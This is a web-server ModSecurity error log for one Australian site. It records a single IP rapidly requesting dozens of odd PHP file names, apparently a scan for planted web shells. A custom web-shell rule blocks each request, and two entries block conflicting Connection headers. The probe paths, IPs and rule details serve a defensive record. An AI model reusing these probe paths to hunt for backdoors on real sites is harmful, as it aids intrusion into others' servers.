[Sat Feb 28 17:26:30.903579 2026] [:error] [pid 39183:tid 39209] [client 4.205.9.11:33176] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaK0xhCf4HvhVePw3LZGHAAAABE"]
[Sat Feb 28 17:26:31.333452 2026] [:error] [pid 49763:tid 49786] [client 4.205.9.11:64923] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaK0x7THSOG_yf2PpqEWewAAAdQ"]
[Sat Feb 28 17:26:31.789586 2026] [:error] [pid 49763:tid 49784] [client 4.205.9.11:55463] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaK0x7THSOG_yf2PpqEWggAAAdI"]
[Sat Feb 28 17:26:32.224543 2026] [:error] [pid 39292:tid 39295] [client 4.205.9.11:49142] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaK0yKIAO5fN7BxyqcEooAAAAME"]
[Sat Feb 28 17:26:32.771664 2026] [:error] [pid 39292:tid 39296] [client 4.205.9.11:33187] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaK0yKIAO5fN7BxyqcEoowAAAMI"]
[Sat Feb 28 17:26:33.306964 2026] [:error] [pid 39184:tid 39228] [client 4.205.9.11:49144] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaK0yVtZF9Zd_U7easBDMAAAAEk"]
[Sat Feb 28 17:26:33.801870 2026] [:error] [pid 39292:tid 39308] [client 4.205.9.11:38591] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaK0yaIAO5fN7BxyqcEoqQAAAM4"]
[Sat Feb 28 17:26:34.363227 2026] [:error] [pid 52460:tid 52482] [client 4.205.9.11:38568] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaK0yrLWOogAgHGh62S0yQAAAZM"]
[Sat Feb 28 17:26:34.968631 2026] [:error] [pid 39183:tid 39214] [client 4.205.9.11:33200] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaK0yhCf4HvhVePw3LZGLgAAABY"]
[Sat Feb 28 17:26:35.414694 2026] [:error] [pid 39183:tid 39201] [client 4.205.9.11:64943] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aaK0yxCf4HvhVePw3LZGOQAAAAk"]
[Sat Feb 28 17:26:35.868662 2026] [:error] [pid 39292:tid 39295] [client 4.205.9.11:64948] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aaK0y6IAO5fN7BxyqcEosQAAAME"]
[Sat Feb 28 17:26:36.326445 2026] [:error] [pid 39185:tid 39261] [client 4.205.9.11:51018] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aaK0zBVE-FfM89u7BQZvVQAAAI8"]
[Sat Feb 28 17:26:36.805931 2026] [:error] [pid 39292:tid 39318] [client 4.205.9.11:64933] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aaK0zKIAO5fN7BxyqcEotgAAANg"]
[Sat Feb 28 17:26:37.251171 2026] [:error] [pid 39183:tid 39200] [client 4.205.9.11:64928] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aaK0zRCf4HvhVePw3LZGPQAAAAg"]
[Sat Feb 28 17:26:37.848619 2026] [:error] [pid 39183:tid 39204] [client 4.205.9.11:55483] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aaK0zRCf4HvhVePw3LZGRwAAAAw"]
[Sat Feb 28 17:26:38.292491 2026] [:error] [pid 39183:tid 39202] [client 4.205.9.11:39265] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aaK0zhCf4HvhVePw3LZGTAAAAAo"]
[Sat Feb 28 17:26:38.812732 2026] [:error] [pid 39183:tid 39204] [client 4.205.9.11:33188] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aaK0zhCf4HvhVePw3LZGUAAAAAw"]
[Sat Feb 28 17:26:39.245519 2026] [:error] [pid 39184:tid 39222] [client 4.205.9.11:51037] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaK0z1tZF9Zd_U7easBDOAAAAEM"]
[Sat Feb 28 17:26:39.708811 2026] [:error] [pid 39183:tid 39199] [client 4.205.9.11:38561] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaK0zxCf4HvhVePw3LZGWAAAAAc"]
[Sat Feb 28 17:26:40.195921 2026] [:error] [pid 49763:tid 49768] [client 4.205.9.11:49117] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaK00LTHSOG_yf2PpqEWmQAAAcI"]
[Sat Feb 28 17:26:40.660385 2026] [:error] [pid 39183:tid 39199] [client 4.205.9.11:55446] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaK00BCf4HvhVePw3LZGagAAAAc"]
[Sat Feb 28 17:26:41.170117 2026] [:error] [pid 49763:tid 49788] [client 4.205.9.11:64911] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aaK00bTHSOG_yf2PpqEWnQAAAdY"]
[Sat Feb 28 17:26:41.609695 2026] [:error] [pid 49763:tid 49790] [client 4.205.9.11:49120] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aaK00bTHSOG_yf2PpqEWnwAAAdg"]
[Sat Feb 28 17:26:42.065980 2026] [:error] [pid 39184:tid 39222] [client 4.205.9.11:51070] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aaK00ltZF9Zd_U7easBDRwAAAEM"]
[Sat Feb 28 17:26:42.494181 2026] [:error] [pid 52460:tid 52485] [client 4.205.9.11:44443] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aaK00rLWOogAgHGh62S00AAAAZY"]
[Sat Feb 28 17:26:43.010466 2026] [:error] [pid 52460:tid 52483] [client 4.205.9.11:44446] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/62ix02bk.php"] [unique_id "aaK007LWOogAgHGh62S01AAAAZQ"]
[Sat Feb 28 17:26:43.427969 2026] [:error] [pid 49763:tid 49769] [client 4.205.9.11:55436] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/62ix02bk.php"] [unique_id "aaK007THSOG_yf2PpqEWpAAAAcM"]
[Sat Feb 28 17:26:44.089058 2026] [:error] [pid 39183:tid 39198] [client 4.205.9.11:64918] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/62ix02bk.php"] [unique_id "aaK01BCf4HvhVePw3LZGiwAAAAY"]
[Sat Feb 28 17:26:44.551129 2026] [:error] [pid 39183:tid 39214] [client 4.205.9.11:30835] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/62ix02bk.php"] [unique_id "aaK01BCf4HvhVePw3LZGjgAAABY"]
[Sat Feb 28 17:26:44.991946 2026] [:error] [pid 39183:tid 39209] [client 4.205.9.11:49115] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaK01BCf4HvhVePw3LZGkAAAABE"]
[Sat Feb 28 17:26:45.462048 2026] [:error] [pid 39184:tid 39225] [client 4.205.9.11:55443] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaK01VtZF9Zd_U7easBDVAAAAEY"]
[Sat Feb 28 17:26:45.891753 2026] [:error] [pid 39183:tid 39212] [client 4.205.9.11:18690] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaK01RCf4HvhVePw3LZGmQAAABQ"]
[Sat Feb 28 17:26:46.363071 2026] [:error] [pid 39183:tid 39206] [client 4.205.9.11:49107] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaK01hCf4HvhVePw3LZGoQAAAA4"]
[Sat Feb 28 17:26:46.787412 2026] [:error] [pid 49763:tid 49772] [client 4.205.9.11:38143] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaK01rTHSOG_yf2PpqEWuwAAAcY"]
[Sat Feb 28 17:26:47.457900 2026] [:error] [pid 49763:tid 49790] [client 4.205.9.11:55479] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaK017THSOG_yf2PpqEWvwAAAdg"]
[Sat Feb 28 17:26:47.911231 2026] [:error] [pid 39183:tid 39204] [client 4.205.9.11:41142] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaK01xCf4HvhVePw3LZGsgAAAAw"]
[Sat Feb 28 17:26:48.350839 2026] [:error] [pid 49763:tid 49776] [client 4.205.9.11:55444] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaK02LTHSOG_yf2PpqEWxQAAAco"]
[Sat Feb 28 17:26:48.793900 2026] [:error] [pid 49763:tid 49769] [client 4.205.9.11:39235] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaK02LTHSOG_yf2PpqEWxwAAAcM"]
[Sat Feb 28 17:26:49.268857 2026] [:error] [pid 49763:tid 49785] [client 4.205.9.11:49094] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaK02bTHSOG_yf2PpqEWzgAAAdM"]
[Sat Feb 28 17:26:49.728135 2026] [:error] [pid 49763:tid 49779] [client 4.205.9.11:39248] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaK02bTHSOG_yf2PpqEW1AAAAc0"]
[Sat Feb 28 17:26:50.206173 2026] [:error] [pid 39183:tid 39194] [client 4.205.9.11:33178] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaK02hCf4HvhVePw3LZGwAAAAAI"]
[Sat Feb 28 17:26:50.656203 2026] [:error] [pid 39183:tid 39199] [client 4.205.9.11:38540] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4wj632p1.php"] [unique_id "aaK02hCf4HvhVePw3LZGwgAAAAc"]
[Sat Feb 28 17:26:51.091753 2026] [:error] [pid 39183:tid 39202] [client 4.205.9.11:33199] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4wj632p1.php"] [unique_id "aaK02xCf4HvhVePw3LZGwwAAAAo"]
[Sat Feb 28 17:26:51.516833 2026] [:error] [pid 11791:tid 11794] [client 4.205.9.11:44457] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4wj632p1.php"] [unique_id "aaK022uX5e1Q32gqxH2DAgAAAQE"]
[Sat Feb 28 17:26:51.978281 2026] [:error] [pid 49763:tid 49770] [client 4.205.9.11:51021] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4wj632p1.php"] [unique_id "aaK027THSOG_yf2PpqEW5gAAAcQ"]
[Sat Feb 28 17:26:52.412533 2026] [:error] [pid 52460:tid 52468] [client 4.205.9.11:38587] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaK03LLWOogAgHGh62S03gAAAYU"]
[Sat Feb 28 17:26:52.888405 2026] [:error] [pid 39183:tid 39215] [client 4.205.9.11:44435] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaK03BCf4HvhVePw3LZGzQAAABc"]
[Sat Feb 28 17:26:53.332034 2026] [:error] [pid 39183:tid 39202] [client 4.205.9.11:38137] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaK03RCf4HvhVePw3LZGzgAAAAo"]
[Sat Feb 28 17:26:53.849244 2026] [:error] [pid 49763:tid 49780] [client 4.205.9.11:51027] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaK03bTHSOG_yf2PpqEW7gAAAc4"]
[Sat Feb 28 17:26:54.288698 2026] [:error] [pid 39292:tid 39298] [client 4.205.9.11:33206] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e31hmf9b.php"] [unique_id "aaK03qIAO5fN7BxyqcEo3gAAAMQ"]
[Sat Feb 28 17:26:54.710779 2026] [:error] [pid 39292:tid 39305] [client 4.205.9.11:44462] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e31hmf9b.php"] [unique_id "aaK03qIAO5fN7BxyqcEo3wAAAMs"]
[Sat Feb 28 17:26:55.149488 2026] [:error] [pid 39183:tid 39214] [client 4.205.9.11:64908] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e31hmf9b.php"] [unique_id "aaK03xCf4HvhVePw3LZG0wAAABY"]
[Sat Feb 28 17:26:55.564147 2026] [:error] [pid 39184:tid 39227] [client 4.205.9.11:55468] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e31hmf9b.php"] [unique_id "aaK031tZF9Zd_U7easBDbQAAAEg"]
[Sat Feb 28 17:38:44.069365 2026] [:error] [pid 49763:tid 49775] [client 43.167.236.228:41200] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaK3pLTHSOG_yf2PpqEjagAAAck"]
[Sat Feb 28 19:15:52.722693 2026] [:error] [pid 52460:tid 52466] [client 182.42.105.144:46642] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaLOaLLWOogAgHGh62Qk7AAAAYM"]
